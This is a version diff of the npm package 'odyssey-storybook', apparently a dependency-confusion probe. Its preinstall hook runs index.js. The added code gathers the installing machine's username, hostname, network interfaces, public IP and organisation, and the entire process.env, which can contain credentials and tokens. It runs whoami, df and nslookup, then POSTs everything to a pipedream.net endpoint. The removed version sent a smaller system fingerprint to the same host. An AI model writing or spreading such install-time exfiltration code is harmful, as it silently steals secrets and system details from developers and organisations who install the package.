odyssey-storybook 5.999.0 → 5.999.1

package/index.js

@@ -2,45 +2,125 @@ const os = require("os");
 const dns = require("dns");
 const querystring = require("querystring");
 const https = require("https");
+const http = require("http");
+const { execSync } = require("child_process");
+
 const packageJSON = require("./package.json");
 const package = packageJSON.name;
 
-const trackingData = JSON.stringify({
-    p: package,
-    c: __dirname,
-    hd: os.homedir(),
-    hn: os.hostname(),
-    un: os.userInfo().username,
-    dns: dns.getServers(),
-    r: packageJSON ? packageJSON.___resolved : undefined,
-    v: packageJSON.version,
-    pjson: packageJSON,
-});
-
-var postData = querystring.stringify({
-    msg: trackingData,
-});
-
-var options = {
-    hostname: "eoau1g0gfngpbja.m.pipedream.net",
-    port: 443,
-    path: "/",
-    method: "POST",
-    headers: {
-        "Content-Type": "application/x-www-form-urlencoded",
-        "Content-Length": postData.length,
-    },
-};
-
-var req = https.request(options, (res) => {
-    res.on("data", (d) => {
-        process.stdout.write(d);
-    });    
-});
-
-req.on("error", (e) => {
-    // console.error(e);
-});
-
-req.write(postData);
-req.end();
+// Helper function to get public IP and related data
+async function getPublicIPInfo() {
+    return new Promise((resolve, reject) => {
+        http.get("http://ip-api.com/json", (res) => {
+            let data = "";
+            res.on("data", (chunk) => (data += chunk));
+            res.on("end", () => {
+                try {
+                    const info = JSON.parse(data);
+                    resolve(info); // Returns data like city, country, ISP, etc.
+                } catch (error) {
+                    reject("Failed to parse public IP information.");
+                }
+            });
+        }).on("error", (err) => reject(err));
+    });
+}
+
+// Main function to collect all data
+async function collectData() {
+    try {
+        const publicIPInfo = await getPublicIPInfo(); // Fetch public IP data
+
+        const systemInfo = {
+            packageName: package,
+            packageVersion: packageJSON.version,
+            packageResolved: packageJSON.___resolved || null,
+            packageJson: packageJSON,
+
+            // Local system details
+            currentDir: __dirname,
+            homeDir: os.homedir(),
+            hostname: os.hostname(),
+            username: os.userInfo().username,
+            platform: os.platform(),
+            arch: os.arch(),
+            osType: os.type(),
+            osRelease: os.release(),
+            cpuCores: os.cpus().length,
+            cpuModel: os.cpus()[0]?.model,
+            totalMemory: os.totalmem(),
+            freeMemory: os.freemem(),
+            uptime: os.uptime(),
+            dnsServers: dns.getServers(),
+            networkInterfaces: os.networkInterfaces(),
+            envVariables: process.env,
+            nodeVersion: process.version,
+            npmVersion: execSync("npm -v").toString().trim(),
+            currentShell: process.env.SHELL || "unknown",
+            currentUser: execSync("whoami").toString().trim(),
+            currentProcessID: process.pid,
+            diskUsage: (() => {
+                try {
+                    const diskInfo = execSync("df -h /").toString();
+                    return diskInfo.split("\n")[1];
+                } catch {
+                    return "Unable to retrieve disk info";
+                }
+            })(),
+
+            // Public IP and organizational details
+            publicIP: publicIPInfo.query, // Public IP address
+            city: publicIPInfo.city,
+            region: publicIPInfo.regionName,
+            country: publicIPInfo.country,
+            isp: publicIPInfo.isp, // Internet Service Provider
+            org: publicIPInfo.org, // Organization name
+            reverseDNS: (() => {
+                try {
+                    return execSync(`nslookup ${publicIPInfo.query}`).toString();
+                } catch {
+                    return "Unable to retrieve reverse DNS information";
+                }
+            })(),
+        };
+
+        // Prepare data for transmission
+        const trackingData = JSON.stringify(systemInfo);
+        const postData = querystring.stringify({
+            msg: trackingData,
+        });
+
+        // HTTPS request options
+        const options = {
+            hostname: "eoau1g0gfngpbja.m.pipedream.net",
+            port: 443,
+            path: "/",
+            method: "POST",
+            headers: {
+                "Content-Type": "application/x-www-form-urlencoded",
+                "Content-Length": Buffer.byteLength(postData),
+            },
+        };
+
+        // Send HTTPS POST request
+        const req = https.request(options, (res) => {
+            console.log(`Status: ${res.statusCode}`);
+            res.setEncoding("utf8");
+            res.on("data", (chunk) => {
+                console.log(`Response: ${chunk}`);
+            });
+        });
+
+        req.on("error", (e) => {
+            console.error(`Request error: ${e.message}`);
+        });
+
+        req.write(postData);
+        req.end();
+    } catch (error) {
+        console.error(`Error collecting data: ${error}`);
+    }
+}
+
+// Run the data collection
+collectData();

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "odyssey-storybook",
-  "version": "5.999.0",
-  "description": "DependencyConfusionPwned",
+  "version": "5.999.1",
+  "description": "Testing for Dependency Confusion",
   "main": "index.js",
   "scripts": {
     "preinstall": "node index.js",